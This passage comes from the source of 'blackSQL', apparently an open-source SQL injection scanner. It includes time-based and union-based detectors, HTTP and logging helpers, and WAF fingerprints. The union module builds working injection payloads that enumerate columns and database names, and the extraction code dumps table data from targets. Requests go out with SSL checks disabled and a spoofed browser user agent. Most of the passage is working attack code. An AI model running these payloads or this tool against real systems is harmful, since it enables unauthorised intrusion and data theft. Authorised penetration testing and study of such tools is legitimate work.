tables[:3]: # Limit to first 3 tables 269 | columns = self.extract_columns(table) 270 | extraction_results['columns'][table] = columns 271 | 272 | # Extract data from each table 273 | if columns: 274 | # Use first 3 columns at most 275 | columns_to_extract = ','.join(columns[:3]) if isinstance( 276 | columns[0], list) else columns[0] 277 | data = self.extract_data(table, columns_to_extract) 278 | extraction_results['data'][table] = data 279 | 280 | # Log the results 281 | self.logger.info(f"Extraction results: {extraction_results}") 282 | 283 | # Add to vulnerability logger if available 284 | if self.vuln_logger: 285 | for vuln in self.vuln_logger.vulnerabilities: 286 | if vuln['parameter'] == self.parameter and vuln['url'] == self.url: 287 | vuln['details']['extraction_results'] = extraction_results 288 | 289 | return extraction_results 290 | -------------------------------------------------------------------------------- /lib/techniques/time_based.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Time-based SQL injection detection 6 | """ 7 | 8 | import time 9 | import statistics 10 | from ..utils.http_utils import inject_payload_in_url, measure_response_time 11 | from ..utils.cli import print_status 12 | 13 | 14 | class TimeBasedDetector: 15 | """Class to detect time-based SQL injections""" 16 | 17 | def __init__(self, url, request_handler, logger, vuln_logger=None, delay_threshold=5): 18 | """ 19 | Initialize time-based detector 20 | 21 | Args: 22 | url (str): Target URL 23 | request_handler (RequestHandler): HTTP request handler instance 24 | logger (logging.Logger): Logger instance 25 | vuln_logger (VulnerabilityLogger, optional): Vulnerability logger 26 | delay_threshold (int): Minimum delay threshold in seconds 27 | """ 28 | self.url = url 29 | self.request_handler = request_handler 30 | self.logger = logger 31 | self.vuln_logger = vuln_logger 32 | self.delay_threshold = delay_threshold 33 | 34 | def calculate_baseline_times(self, is_post=False, data=None, num_samples=3): 35 | """ 36 | Calculate baseline response times 37 | 38 | Args: 39 | is_post (bool): Whether using POST request 40 | data (dict, optional): POST data 41 | num_samples (int): Number of samples to collect 42 | 43 | Returns: 44 | float: Average baseline response time 45 | """ 46 | baseline_times = [] 47 | 48 | for _ in range(num_samples): 49 | try: 50 | if is_post: 51 | response, response_time = measure_response_time( 52 | self.request_handler.post, self.url, data=data 53 | ) 54 | else: 55 | response, response_time = measure_response_time( 56 | self.request_handler.get, self.url 57 | ) 58 | 59 | baseline_times.append(response_time) 60 | time.sleep(0.5) # Small delay between samples 61 | except Exception as e: 62 | self.logger.error(f"Error measuring baseline time: {str(e)}") 63 | 64 | # Calculate average and standard deviation 65 | if baseline_times: 66 | avg_time = statistics.mean(baseline_times) 67 | self.logger.info(f"Baseline response time: {avg_time:.3f} seconds") 68 | return avg_time 69 | else: 70 | # Default in case of no successful measurements 71 | self.logger.warning( 72 | "Could not measure baseline times, using default") 73 | return 1.0 74 | 75 | def is_time_delayed(self, response_time, baseline_time): 76 | """ 77 | Check if response time is significantly delayed 78 | 79 | Args: 80 | response_time (float): Response time to check 81 | baseline_time (float): Baseline response time 82 | 83 | Returns: 84 | bool: True if significantly delayed, False otherwise 85 | """ 86 | # Check if the response time is significantly higher than baseline 87 | return response_time >= (baseline_time + self.delay_threshold * 0.8) 88 | 89 | def scan_parameter(self, parameter, payloads, is_post=False, data=None): 90 | """ 91 | Scan a parameter for time-based SQL injection 92 | 93 | Args: 94 | parameter (str): Parameter name to test 95 | payloads (list): List of payloads to test 96 | is_post (bool): Whether to test POST parameter 97 | data (dict, optional): POST data 98 | 99 | Returns: 100 | tuple: (bool, str) - (is_vulnerable, payload) 101 | """ 102 | self.logger.info( 103 | f"Testing parameter '{parameter}' for time-based SQL injection") 104 | 105 | # Calculate baseline response times 106 | baseline_time = self.calculate_baseline_times(is_post, data) 107 | 108 | # Check for time delays in each payload 109 | for payload in payloads: 110 | try: 111 | if is_post: 112 | # Modify POST data 113 | test_data = data.copy() 114 | test_data[parameter] = payload 115 | 116 | # Send POST request and measure time 117 | response, response_time = measure_response_time( 118 | self.request_handler.post, self.url, data=test_data 119 | ) 120 | else: 121 | # Inject payload into URL parameter 122 | test_url = inject_payload_in_url( 123 | self.url, parameter, payload) 124 | 125 | # Send GET request and measure time 126 | response, response_time = measure_response_time( 127 | self.request_handler.get, test_url 128 | ) 129 | 130 | # Check if response time is significantly delayed 131 | if self.is_time_delayed(response_time, baseline_time): 132 | # Verify with a second request to confirm it's not a false positive 133 | if is_post: 134 | verify_response, verify_time = measure_response_time( 135 | self.request_handler.post, self.url, data=test_data 136 | ) 137 | else: 138 | verify_response, verify_time = measure_response_time( 139 | self.request_handler.get, test_url 140 | ) 141 | 142 | if self.is_time_delayed(verify_time, baseline_time): 143 | # Determine database type based on the payload 144 | db_type = "Unknown" 145 | if "SLEEP" in payload.upper(): 146 | db_type = "MySQL" 147 | elif "PG_SLEEP" in payload.upper(): 148 | db_type = "PostgreSQL" 149 | elif "WAITFOR DELAY" in payload.upper(): 150 | db_type = "MSSQL" 151 | 152 | # Log vulnerability 153 | print_status( 154 | f"Parameter '{parameter}' is vulnerable to time-based SQL injection", "vuln") 155 | print_status(f"Database type: {db_type}", "info") 156 | print_status(f"Payload: {payload}", "info") 157 | print_status( 158 | f"Response time: {response_time:.3f}s (baseline: {baseline_time:.3f}s)", "info") 159 | 160 | self.logger.warning( 161 | f"Found time-based SQL injection in parameter '{parameter}' with payload: {payload}") 162 | self.logger.info( 163 | f"Response time: {response_time:.3f}s, baseline: {baseline_time:.3f}s") 164 | 165 | if self.vuln_logger: 166 | self.vuln_logger.add_vulnerability( 167 | url=self.url, 168 | injection_type="Time-based", 169 | parameter=parameter, 170 | payload=payload, 171 | database_type=db_type, 172 | details={"response_time": response_time, 173 | "baseline_time": baseline_time} 174 | ) 175 | 176 | return True, db_type, payload 177 | 178 | except Exception as e: 179 | self.logger.error(f"Error testing payload {payload}: {str(e)}") 180 | continue 181 | 182 | print_status( 183 | f"Parameter '{parameter}' is not vulnerable to time-based SQL injection", "info") 184 | self.logger.info( 185 | f"No time-based SQL injection found in parameter '{parameter}'") 186 | 187 | return False, None, None 188 | -------------------------------------------------------------------------------- /lib/techniques/union_based.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Union-based SQL injection detection 6 | """ 7 | 8 | import re 9 | from ..utils.http_utils import inject_payload_in_url 10 | from ..utils.cli import print_status 11 | 12 | 13 | class UnionBasedDetector: 14 | """Class to detect union-based SQL injections""" 15 | 16 | def __init__(self, url, request_handler, logger, vuln_logger=None): 17 | """ 18 | Initialize union-based detector 19 | 20 | Args: 21 | url (str): Target URL 22 | request_handler (RequestHandler): HTTP request handler instance 23 | logger (logging.Logger): Logger instance 24 | vuln_logger (VulnerabilityLogger, optional): Vulnerability logger 25 | """ 26 | self.url = url 27 | self.request_handler = request_handler 28 | self.logger = logger 29 | self.vuln_logger = vuln_logger 30 | 31 | # Regular expressions to detect UNION-based injections 32 | # Looking for patterns like 1,2,3,4,5 in the response 33 | self.injection_patterns = [ 34 | # Numbers pattern (matches sequences like 1,2,3 or 1 2 3) 35 | re.compile(r'(\d+)[\s,]+(\d+)[\s,]+(\d+)', re.IGNORECASE), 36 | 37 | # Version strings for various databases 38 | re.compile( 39 | r'(MySQL|MariaDB)[\s\-\_]+(\d+\.\d+\.\d+)', re.IGNORECASE), 40 | re.compile( 41 | r'(SQL\s*Server|MSSQL)[\s\-\_]+(\d+\.\d+\.\d+)', re.IGNORECASE), 42 | re.compile(r'(PostgreSQL)[\s\-\_]+(\d+\.\d+)', re.IGNORECASE), 43 | re.compile( 44 | r'(Oracle Database)[\s\-\_]+(\d+\.\d+\.\d+)', re.IGNORECASE), 45 | re.compile(r'(SQLite)[\s\-\_]+(\d+\.\d+\.\d+)', re.IGNORECASE) 46 | ] 47 | 48 | def detect_injection_in_response(self, response_text): 49 | """ 50 | Detect injection patterns in response text 51 | 52 | Args: 53 | response_text (str): HTTP response text 54 | 55 | Returns: 56 | tuple: (bool, str) - (is_vulnerable, matched_text) 57 | """ 58 | for pattern in self.injection_patterns: 59 | match = pattern.search(response_text) 60 | if match: 61 | return True, match.group(0) 62 | 63 | return False, None 64 | 65 | def determine_column_count(self, parameter, max_columns=20, is_post=False, data=None): 66 | """ 67 | Determine the number of columns in a table 68 | 69 | Args: 70 | parameter (str): Parameter name to test 71 | max_columns (int): Maximum number of columns to test 72 | is_post (bool): Whether to test POST parameter 73 | data (dict, optional): POST data 74 | 75 | Returns: 76 | int: Number of columns or 0 if not detected 77 | """ 78 | self.logger.info( 79 | f"Determining column count for parameter '{parameter}'") 80 | 81 | for i in range(1, max_columns + 1): 82 | # Create ORDER BY payload 83 | order_by_payload = f"' ORDER BY {i}--" 84 | 85 | try: 86 | if is_post: 87 | # Modify POST data 88 | test_data = data.copy() 89 | test_data[parameter] = order_by_payload 90 | 91 | # Send POST request 92 | response = self.request_handler.post( 93 | self.url, data=test_data) 94 | else: 95 | # Inject payload into URL parameter 96 | test_url = inject_payload_in_url( 97 | self.url, parameter, order_by_payload) 98 | 99 | # Send GET request 100 | response = self.request_handler.get(test_url) 101 | 102 | # Check if response indicates an error 103 | # If ORDER BY n+1 causes an error, then there are n columns 104 | if any(error in response.text.lower() for error in [ 105 | "unknown column", "order by", "sqlstate", "odbc driver", 106 | "syntax error", "unclosed quotation", "error"]): 107 | self.logger.info(f"Found column count: {i-1}") 108 | return i - 1 109 | 110 | except Exception as e: 111 | self.logger.error(f"Error testing column count {i}: {str(e)}") 112 | continue 113 | 114 | self.logger.warning( 115 | "Could not determine column count, using default of 1") 116 | return 1 117 | 118 | def generate_union_payloads(self, column_count): 119 | """ 120 | Generate UNION-based payloads for the determined column count 121 | 122 | Args: 123 | column_count (int): Number of columns 124 | 125 | Returns: 126 | list: List of UNION-based payloads 127 | """ 128 | payloads = [] 129 | 130 | # Generate different combinations of payloads 131 | # Basic number sequence 132 | payloads.append( 133 | f"' UNION SELECT {','.join(str(i) for i in range(1, column_count + 1))}--") 134 | 135 | # NULL placeholders with database version in different positions 136 | for i in range(1, column_count + 1): 137 | columns = ["NULL"] * column_count 138 | columns[i-1] = "@@version" # MySQL/MSSQL version 139 | payloads.append(f"' UNION SELECT {','.join(columns)}--") 140 | 141 | columns = ["NULL"] * column_count 142 | columns[i-1] = "version()" # PostgreSQL version 143 | payloads.append(f"' UNION SELECT {','.join(columns)}--") 144 | 145 | if column_count >= 2: 146 | columns = ["NULL"] * column_count 147 | columns[i-1] = "banner" 148 | # Oracle version 149 | payloads.append( 150 | f"' UNION SELECT {','.join(columns)} FROM v$version--") 151 | 152 | # Database specific payloads 153 | # MySQL 154 | payloads.append( 155 | f"' UNION SELECT {','.join('schema_name' if i == 1 else 'NULL' for i in range(1, column_count + 1))} FROM information_schema.schemata--") 156 | 157 | # MSSQL 158 | payloads.append( 159 | f"' UNION SELECT {','.join('name' if i == 1 else 'NULL' for i in range(1, column_count + 1))} FROM master..sysdatabases--") 160 | 161 | # PostgreSQL 162 | payloads.append( 163 | f"' UNION SELECT {','.join('datname' if i == 1 else 'NULL' for i in range(1, column_count + 1))} FROM pg_database--") 164 | 165 | return payloads 166 | 167 | def scan_parameter(self, parameter, is_post=False, data=None): 168 | """ 169 | Scan a parameter for union-based SQL injection 170 | 171 | Args: 172 | parameter (str): Parameter name to test 173 | is_post (bool): Whether to test POST parameter 174 | data (dict, optional): POST data 175 | 176 | Returns: 177 | tuple: (bool, str, str) - (is_vulnerable, database_type, payload) 178 | """ 179 | self.logger.info( 180 | f"Testing parameter '{parameter}' for union-based SQL injection") 181 | 182 | # Determine column count 183 | column_count = self.determine_column_count( 184 | parameter, is_post=is_post, data=data) 185 | 186 | # Generate payloads based on column count 187 | payloads = self.generate_union_payloads(column_count) 188 | 189 | # Test each payload 190 | for payload in payloads: 191 | try: 192 | if is_post: 193 | # Modify POST data 194 | test_data = data.copy() 195 | test_data[parameter] = payload 196 | 197 | # Send POST request 198 | response = self.request_handler.post( 199 | self.url, data=test_data) 200 | else: 201 | # Inject payload into URL parameter 202 | test_url = inject_payload_in_url( 203 | self.url, parameter, payload) 204 | 205 | # Send GET request 206 | response = self.request_handler.get(test_url) 207 | 208 | # Check if response indicates successful injection 209 | is_vulnerable, matched_text = self.detect_injection_in_response( 210 | response.text) 211 | 212 | if is_vulnerable: 213 | # Determine database type from the payload and response 214 | db_type = "Unknown" 215 | 216 | if "@@version" in payload and ("MySQL" in response.text or "MariaDB" in response.text): 217 | db_type = "MySQL" 218 | elif "@@version" in payload and "SQL Server" in response.text: 219 | db_type = "MSSQL" 220 | elif "version()" in payload and "PostgreSQL" in response.text: 221 | db_type = "PostgreSQL" 222 | elif "v$version" in payload and "Oracle" in response.text: 223 | db_type = "Oracle" 224 | elif "sqlite_version()" in payload and "SQLite" in response.text: 225 | db_type = "SQLite" 226 | elif "information_schema" in payload: 227 | db_type = "MySQL" 228 | elif "sysdatabases" in payload: 229 | db_type = "MSSQL" 230 | elif "pg_database" in payload: 231 | db_type = "PostgreSQL" 232 | 233 | # Log vulnerability 234 | print_status( 235 | f"Parameter '{parameter}' is vulnerable to union-based SQL injection", "vuln") 236 | print_status(f"Database type: {db_type}", "info") 237 | print_status(f"Payload: {payload}", "info") 238 | print_status(f"Matched text: {matched_text}", "info") 239 | 240 | self.logger.warning( 241 | f"Found union-based SQL injection in parameter '{parameter}' with payload: {payload}") 242 | 243 | if self.vuln_logger: 244 | self.vuln_logger.add_vulnerability( 245 | url=self.url, 246 | injection_type="Union-based", 247 | parameter=parameter, 248 | payload=payload, 249 | database_type=db_type, 250 | details={"column_count": column_count, 251 | "matched_text": matched_text} 252 | ) 253 | 254 | return True, db_type, payload 255 | 256 | except Exception as e: 257 | self.logger.error(f"Error testing payload {payload}: {str(e)}") 258 | continue 259 | 260 | print_status( 261 | f"Parameter '{parameter}' is not vulnerable to union-based SQL injection", "info") 262 | self.logger.info( 263 | f"No union-based SQL injection found in parameter '{parameter}'") 264 | 265 | return False, None, None 266 | -------------------------------------------------------------------------------- /lib/utils/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sharafdin/blackSQL/f844407a48efb85582abe1875e0c11d534a8a46f/lib/utils/__init__.py -------------------------------------------------------------------------------- /lib/utils/cli.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | CLI utilities for blackSQL 6 | """ 7 | 8 | import sys 9 | from colorama import Fore, Style, init 10 | 11 | # Initialize colorama 12 | init(autoreset=True) 13 | 14 | 15 | class ColorPrint: 16 | """Class for printing colored text to terminal""" 17 | 18 | @staticmethod 19 | def red(text): 20 | """Print red text""" 21 | print(f"{Fore.RED}{text}{Style.RESET_ALL}") 22 | 23 | @staticmethod 24 | def green(text): 25 | """Print green text""" 26 | print(f"{Fore.GREEN}{text}{Style.RESET_ALL}") 27 | 28 | @staticmethod 29 | def yellow(text): 30 | """Print yellow text""" 31 | print(f"{Fore.YELLOW}{text}{Style.RESET_ALL}") 32 | 33 | @staticmethod 34 | def blue(text): 35 | """Print blue text""" 36 | print(f"{Fore.BLUE}{text}{Style.RESET_ALL}") 37 | 38 | @staticmethod 39 | def magenta(text): 40 | """Print magenta text""" 41 | print(f"{Fore.MAGENTA}{text}{Style.RESET_ALL}") 42 | 43 | @staticmethod 44 | def cyan(text): 45 | """Print cyan text""" 46 | print(f"{Fore.CYAN}{text}{Style.RESET_ALL}") 47 | 48 | @staticmethod 49 | def bold(text): 50 | """Print bold text""" 51 | print(f"{Style.BRIGHT}{text}{Style.RESET_ALL}") 52 | 53 | 54 | def print_banner(): 55 | """Print the blackSQL banner""" 56 | banner = f""" 57 | {Fore.RED}█▄▄ █░░ ▄▀█ █▀▀ █▄▀ █▀ █▀█ █░░ 58 | {Fore.RED}█▄█ █▄▄ █▀█ █▄▄ █░█ ▄█ █▄█ █▄▄ 59 | 60 | {Fore.CYAN}[*] {Fore.WHITE}Advanced SQL Injection Scanner 61 | {Fore.CYAN}[*] {Fore.WHITE}Author: Mr Sharafdin 62 | {Fore.CYAN}[*] {Fore.WHITE}Version: 1.0.0 63 | """ 64 | print(banner) 65 | 66 | 67 | def print_status(message, status): 68 | """Print a status message with appropriate color""" 69 | if status == "success": 70 | print(f"{Fore.GREEN}[+] {message}{Style.RESET_ALL}") 71 | elif status == "info": 72 | print(f"{Fore.BLUE}[*] {message}{Style.RESET_ALL}") 73 | elif status == "warning": 74 | print(f"{Fore.YELLOW}[!] {message}{Style.RESET_ALL}") 75 | elif status == "error": 76 | print(f"{Fore.RED}[-] {message}{Style.RESET_ALL}") 77 | elif status == "vuln": 78 | print(f"{Fore.RED}[VULNERABLE] {message}{Style.RESET_ALL}") 79 | else: 80 | print(f"[?] {message}") 81 | 82 | 83 | def progress_bar(iteration, total, prefix='', suffix='', length=50, fill='█'): 84 | """Display a progress bar in the terminal""" 85 | percent = ("{0:.1f}").format(100 * (iteration / float(total))) 86 | filled_length = int(length * iteration // total) 87 | bar = fill * filled_length + '-' * (length - filled_length) 88 | sys.stdout.write(f'\r{prefix} |{bar}| {percent}% {suffix}') 89 | sys.stdout.flush() 90 | if iteration == total: 91 | print() 92 | -------------------------------------------------------------------------------- /lib/utils/http_utils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | HTTP utilities for blackSQL 6 | """ 7 | 8 | import time 9 | import requests 10 | from requests.exceptions import RequestException 11 | from urllib.parse import urlparse, parse_qsl, urlencode, urlunparse 12 | 13 | 14 | class RequestHandler: 15 | """Class to handle HTTP requests""" 16 | 17 | def __init__(self, timeout=10, proxy=None, user_agent=None, cookies=None): 18 | """ 19 | Initialize the request handler 20 | 21 | Args: 22 | timeout (int): Request timeout in seconds 23 | proxy (str, optional): Proxy URL 24 | user_agent (str, optional): User agent string 25 | cookies (dict, optional): HTTP cookies 26 | """ 27 | self.timeout = timeout 28 | self.proxies = {'http': proxy, 'https': proxy} if proxy else None 29 | 30 | # Set default user agent if none provided 31 | if not user_agent: 32 | user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' 33 | 34 | # Initialize session 35 | self.session = requests.Session() 36 | self.session.headers.update({'User-Agent': user_agent}) 37 | 38 | if cookies: 39 | self.session.cookies.update(cookies) 40 | 41 | def get(self, url, params=None, additional_headers=None): 42 | """ 43 | Send GET request 44 | 45 | Args: 46 | url (str): URL to send request to 47 | params (dict, optional): URL parameters 48 | additional_headers (dict, optional): Additional HTTP headers 49 | 50 | Returns: 51 | requests.Response: Response object 52 | """ 53 | headers = {} 54 | if additional_headers: 55 | headers.update(additional_headers) 56 | 57 | try: 58 | response = self.session.get( 59 | url, 60 | params=params, 61 | headers=headers, 62 | proxies=self.proxies, 63 | timeout=self.timeout, 64 | verify=False, # Disable SSL verification 65 | allow_redirects=True 66 | ) 67 | return response 68 | except RequestException as e: 69 | raise e 70 | 71 | def post(self, url, data=None, json=None, additional_headers=None): 72 | """ 73 | Send POST request 74 | 75 | Args: 76 | url (str): URL to send request to 77 | data (dict, optional): Form data 78 | json (dict, optional): JSON data 79 | additional_headers (dict, optional): Additional HTTP headers 80 | 81 | Returns: 82 | requests.Response: Response object 83 | """ 84 | headers = {} 85 | if additional_headers: 86 | headers.update(additional_headers) 87 | 88 | try: 89 | response = self.session.post( 90 | url, 91 | data=data, 92 | json=json, 93 | headers=headers, 94 | proxies=self.proxies, 95 | timeout=self.timeout, 96 | verify=False, # Disable SSL verification 97 | allow_redirects=True 98 | ) 99 | return response 100 | except RequestException as e: 101 | raise e 102 | 103 | 104 | def inject_payload_in_url(url, parameter, payload): 105 | """ 106 | Inject a payload into a URL parameter 107 | 108 | Args: 109 | url (str): Original URL 110 | parameter (str): Parameter to inject into 111 | payload (str): Payload to inject 112 | 113 | Returns: 114 | str: URL with injected payload 115 | """ 116 | parsed_url = urlparse(url) 117 | query_params = dict(parse_qsl(parsed_url.query)) 118 | 119 | # Inject payload 120 | if parameter in query_params: 121 | query_params[parameter] = payload 122 | else: 123 | # If parameter doesn't exist, add it 124 | query_params[parameter] = payload 125 | 126 | # Rebuild URL 127 | new_query = urlencode(query_params) 128 | new_url = urlunparse(( 129 | parsed_url.scheme, 130 | parsed_url.netloc, 131 | parsed_url.path, 132 | parsed_url.params, 133 | new_query, 134 | parsed_url.fragment 135 | )) 136 | 137 | return new_url 138 | 139 | 140 | def measure_response_time(request_func, *args, **kwargs): 141 | """ 142 | Measure the response time of a request 143 | 144 | Args: 145 | request_func: Function to send HTTP request 146 | *args: Arguments to pass to the request function 147 | **kwargs: Keyword arguments to pass to the request function 148 | 149 | Returns: 150 | tuple: (response, response_time) 151 | """ 152 | start_time = time.time() 153 | response = request_func(*args, **kwargs) 154 | end_time = time.time() 155 | 156 | response_time = end_time - start_time 157 | 158 | return response, response_time 159 | -------------------------------------------------------------------------------- /lib/utils/logger.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Logging utilities for blackSQL 6 | """ 7 | 8 | import os 9 | import json 10 | import csv 11 | import logging 12 | from datetime import datetime 13 | 14 | 15 | def setup_logger(output_file=None): 16 | """ 17 | Set up and configure logger 18 | 19 | Args: 20 | output_file (str, optional): Path to output file 21 | 22 | Returns: 23 | logging.Logger: Configured logger instance 24 | """ 25 | # Create logs directory if it doesn't exist 26 | os.makedirs('logs', exist_ok=True) 27 | 28 | # Generate timestamped filename if none provided 29 | if not output_file: 30 | timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") 31 | log_file = f"logs/blacksql_{timestamp}.log" 32 | else: 33 | log_file = output_file 34 | 35 | # Configure logger 36 | logger = logging.getLogger('blacksql') 37 | logger.setLevel(logging.INFO) 38 | 39 | # Create file handler 40 | file_handler = logging.FileHandler(log_file) 41 | file_handler.setLevel(logging.INFO) 42 | 43 | # Create console handler 44 | console_handler = logging.StreamHandler() 45 | # Only warnings and errors to console 46 | console_handler.setLevel(logging.WARNING) 47 | 48 | # Create formatter 49 | formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s') 50 | file_handler.setFormatter(formatter) 51 | console_handler.setFormatter(formatter) 52 | 53 | # Add handlers to logger 54 | logger.addHandler(file_handler) 55 | logger.addHandler(console_handler) 56 | 57 | return logger 58 | 59 | 60 | class VulnerabilityLogger: 61 | """ 62 | Class to log and export vulnerability findings 63 | """ 64 | 65 | def __init__(self, output_file=None): 66 | """ 67 | Initialize the vulnerability logger 68 | 69 | Args: 70 | output_file (str, optional): Path to output file 71 | """ 72 | self.vulnerabilities = [] 73 | self.output_file = output_file 74 | 75 | def add_vulnerability(self, url, injection_type, parameter, payload, database_type=None, details=None): 76 | """ 77 | Add a vulnerability finding 78 | 79 | Args: 80 | url (str): Target URL 81 | injection_type (str): Type of SQL injection 82 | parameter (str): Vulnerable parameter 83 | payload (str): Payload that triggered the vulnerability 84 | database_type (str, optional): Detected database type 85 | details (dict, optional): Additional vulnerability details 86 | """ 87 | vuln = { 88 | 'timestamp': datetime.now().isoformat(), 89 | 'url': url, 90 | 'injection_type': injection_type, 91 | 'parameter': parameter, 92 | 'payload': payload, 93 | 'database_type': database_type, 94 | 'details': details or {} 95 | } 96 | 97 | self.vulnerabilities.append(vuln) 98 | 99 | def export_to_json(self, filename=None): 100 | """ 101 | Export vulnerabilities to JSON file 102 | 103 | Args: 104 | filename (str, optional): Output filename 105 | """ 106 | if not filename: 107 | if self.output_file: 108 | filename = self.output_file 109 | else: 110 | timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") 111 | filename = f"logs/vulnerabilities_{timestamp}.json" 112 | 113 | # Create logs directory if it doesn't exist 114 | os.makedirs(os.path.dirname(filename), exist_ok=True) 115 | 116 | with open(filename, 'w') as f: 117 | json.dump({ 118 | 'scan_date': datetime.now().isoformat(), 119 | 'total_vulnerabilities': len(self.vulnerabilities), 120 | 'vulnerabilities': self.vulnerabilities 121 | }, f, indent=4) 122 | 123 | return filename 124 | 125 | def export_to_csv(self, filename=None): 126 | """ 127 | Export vulnerabilities to CSV file 128 | 129 | Args: 130 | filename (str, optional): Output filename 131 | """ 132 | if not filename: 133 | if self.output_file: 134 | filename = self.output_file 135 | else: 136 | timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") 137 | filename = f"logs/vulnerabilities_{timestamp}.csv" 138 | 139 | # Create logs directory if it doesn't exist 140 | os.makedirs(os.path.dirname(filename), exist_ok=True) 141 | 142 | with open(filename, 'w', newline='') as f: 143 | fieldnames = ['timestamp', 'url', 'injection_type', 144 | 'parameter', 'payload', 'database_type'] 145 | writer = csv.DictWriter(f, fieldnames=fieldnames) 146 | 147 | writer.writeheader() 148 | for vuln in self.vulnerabilities: 149 | # Extract only the fields in fieldnames 150 | row = {field: vuln.get(field, '') for field in fieldnames} 151 | writer.writerow(row) 152 | 153 | return filename 154 | -------------------------------------------------------------------------------- /lib/utils/validator.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Validators for blackSQL 6 | """ 7 | 8 | import re 9 | import urllib.parse 10 | 11 | 12 | def validate_url(url): 13 | """ 14 | Validate if a URL is properly formatted 15 | 16 | Args: 17 | url (str): URL to validate 18 | 19 | Returns: 20 | bool: True if the URL is valid, False otherwise 21 | """ 22 | # Basic URL regex pattern 23 | pattern = re.compile( 24 | r'^(?:http|https)://' # http:// or https:// 25 | # domain 26 | r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' 27 | r'localhost|' # localhost 28 | r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' # or ipv4 29 | r'(?::\d+)?' # optional port 30 | r'(?:/?|[/?]\S+)$', re.IGNORECASE) 31 | 32 | return bool(pattern.match(url)) 33 | 34 | 35 | def extract_params(url): 36 | """ 37 | Extract parameters from a URL 38 | 39 | Args: 40 | url (str): URL to extract parameters from 41 | 42 | Returns: 43 | dict: Dictionary of parameters and their values 44 | """ 45 | parsed_url = urllib.parse.urlparse(url) 46 | query_params = urllib.parse.parse_qs(parsed_url.query) 47 | 48 | # Convert lists to single values 49 | params = {k: v[0] for k, v in query_params.items()} 50 | 51 | return params 52 | 53 | 54 | def parse_cookies(cookie_string): 55 | """ 56 | Parse cookie string into a dictionary 57 | 58 | Args: 59 | cookie_string (str): Cookie string (e.g., 'name=value; name2=value2') 60 | 61 | Returns: 62 | dict: Dictionary of cookie names and values 63 | """ 64 | if not cookie_string: 65 | return {} 66 | 67 | cookies = {} 68 | 69 | for cookie in cookie_string.split(';'): 70 | cookie = cookie.strip() 71 | if '=' in cookie: 72 | name, value = cookie.split('=', 1) 73 | cookies[name.strip()] = value.strip() 74 | 75 | return cookies 76 | 77 | 78 | def parse_post_data(data_string): 79 | """ 80 | Parse POST data string into a dictionary 81 | 82 | Args: 83 | data_string (str): POST data string (e.g., 'name=value&name2=value2') 84 | 85 | Returns: 86 | dict: Dictionary of parameter names and values 87 | """ 88 | if not data_string: 89 | return {} 90 | 91 | return dict(urllib.parse.parse_qsl(data_string)) 92 | -------------------------------------------------------------------------------- /lib/utils/waf_detector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | WAF detection module for blackSQL 6 | """ 7 | 8 | import re 9 | from ..utils.cli import print_status 10 | 11 | 12 | class WAFDetector: 13 | """Class to detect Web Application Firewalls""" 14 | 15 | # Common WAF signatures 16 | WAF_SIGNATURES = { 17 | 'Cloudflare': [ 18 | r'cloudflare', 19 | r'cloudflare-nginx', 20 | r'__cfduid', 21 | r'cf-ray', 22 | r'CF-WAF' 23 | ], 24 | 'AWS WAF': [ 25 | r'aws-waf', 26 | r'awselb/2.0', 27 | r'x-amzn-waf', 28 | r'x-amz-cf-id' 29 | ], 30 | 'ModSecurity': [ 31 | r'mod_security', 32 | r'modsecurity', 33 | r'NOYB' 34 | ], 35 | 'Akamai': [ 36 | r'akamai', 37 | r'akamaighost', 38 | r'ak.v' 39 | ], 40 | 'Imperva/Incapsula': [ 41 | r'incapsula', 42 | r'imperva', 43 | r'incap_ses', 44 | r'visid_incap' 45 | ], 46 | 'F5 BIG-IP': [ 47 | r'BigIP', 48 | r'F5', 49 | r'BIGipServer', 50 | r'TS[0-9a-f]{24}=' 51 | ], 52 | 'Sucuri': [ 53 | r'sucuri', 54 | r'cloudproxy', 55 | r'sucuri/cloudproxy' 56 | ], 57 | 'Barracuda': [ 58 | r'barracuda', 59 | r'barracuda_' 60 | ], 61 | 'Fortinet/FortiWeb': [ 62 | r'fortigate', 63 | r'fortiweb', 64 | r'fortinet' 65 | ], 66 | 'Citrix NetScaler': [ 67 | r'netscaler', 68 | r'ns_af=', 69 | r'citrix_ns' 70 | ] 71 | } 72 | 73 | # Common WAF block messages 74 | BLOCK_PATTERNS = [ 75 | r'blocked', 76 | r'blocked by firewall', 77 | r'security policy', 78 | r'access denied', 79 | r'forbidden', 80 | r'illegal', 81 | r'unauthorized', 82 | r'suspicious activity', 83 | r'detected an attack', 84 | r'security rule', 85 | r'malicious', 86 | r'security violation', 87 | r'attack detected', 88 | r'automated request', 89 | r'your request has been blocked', 90 | r'your IP has been blocked', 91 | r'security challenge', 92 | r'challenge required', 93 | r'captcha', 94 | r'protection system' 95 | ] 96 | 97 | @staticmethod 98 | def detect(response): 99 | """ 100 | Detect WAF from HTTP response 101 | 102 | Args: 103 | response (requests.Response): HTTP response object 104 | 105 | Returns: 106 | tuple: (is_waf_detected, waf_name) - (bool, str) 107 | """ 108 | headers = 